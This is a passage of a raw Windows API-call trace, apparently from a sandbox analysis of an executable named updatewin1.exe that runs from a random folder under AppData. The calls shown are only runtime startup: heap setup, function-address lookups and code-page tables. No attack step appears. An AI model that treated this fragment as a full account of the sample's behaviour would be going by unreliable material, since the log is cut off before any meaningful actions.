dwHighDateTime=0x1d53559)) [0047.576] GetCurrentProcessId () returned 0x7a8 [0047.576] GetCurrentThreadId () returned 0x59c [0047.576] GetTickCount () returned 0x1ab0d [0047.576] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=16785487002) returned 1 [0047.592] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0047.592] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x500000 [0047.593] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.593] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0047.593] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0047.593] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0047.593] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0047.593] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.593] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0047.593] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.593] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0047.593] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.594] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0047.594] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.594] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0047.594] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.594] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0047.594] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.594] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0047.594] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.594] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0047.595] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.595] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0047.595] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x214) returned 0x5007d0 [0047.595] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.595] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0047.595] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0047.595] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0047.595] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0047.595] GetCurrentThreadId () returned 0x59c [0047.595] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0047.596] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x800) returned 0x5009f0 [0047.596] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0047.596] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0047.596] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0047.596] SetHandleCount (uNumber=0x20) returned 0x20 [0047.596] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe\" " [0047.596] GetEnvironmentStringsW () returned 0x294e70* [0047.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0047.596] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x565) returned 0x5011f8 [0047.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x5011f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0047.596] FreeEnvironmentStringsW (penv=0x294e70) returned 1 [0047.596] GetLastError () returned 0x0 [0047.596] SetLastError (dwErrCode=0x0) [0047.596] GetLastError () returned 0x0 [0047.596] SetLastError (dwErrCode=0x0) [0047.596] GetLastError () returned 0x0 [0047.596] SetLastError (dwErrCode=0x0) [0047.596] GetACP () returned 0x4e4 [0047.596] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x220) returned 0x501768 [0047.597] GetLastError () returned 0x0 [0047.597] SetLastError (dwErrCode=0x0) [0047.597] IsValidCodePage (CodePage=0x4e4) returned 1 [0047.597] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0047.597] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0047.597] GetLastError () returned 0x0 [0047.597] SetLastError (dwErrCode=0x0) [0047.597] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0047.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0047.597] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0047.597] GetLastError () returned 0x0 [0047.597] SetLastError (dwErrCode=0x0) [0047.597] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0047.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ囙㞕AĀ") returned 256 [0047.597] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ囙㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0047.597] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ囙㞕AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0047.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x41\x0d\xd1\xe5\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0047.597] GetLastError () returned 0x0 [0047.597] SetLastError (dwErrCode=0x0) [0047.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ囙㞕AĀ") returned 256 [0047.597] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ囙㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0047.597] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ囙㞕AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0047.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x41\x0d\xd1\xe5\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0047.597] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43a580, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe")) returned 0x5f [0047.598] GetLastError () returned 0x0 [0047.598] SetLastError (dwErrCode=0x0) [0047.598] GetLastError () returned 0x0 [0047.598] SetLastError (dwErrCode=0x0) [0047.598] GetLastError () returned 0x0 [0047.598] SetLastError (dwErrCode=0x0) [0047.598] GetLastError () returned 0x0 [0047.598] SetLastError (dwErrCode=0x0) [0047.598] GetLastError () returned 0x0 [0047.598] SetLastError (dwErrCode=0x0) [0047.598] GetLastError () returned 0x0 [0047.598] SetLastError (dwErrCode=0x0) [0047.598] GetLastError () returned 0x0 [0047.598] SetLastError (dwErrCode=0x0) [0047.598] GetLastError () returned 0x0 [0047.598] SetLastError (dwErrCode=0x0) [0047.598] 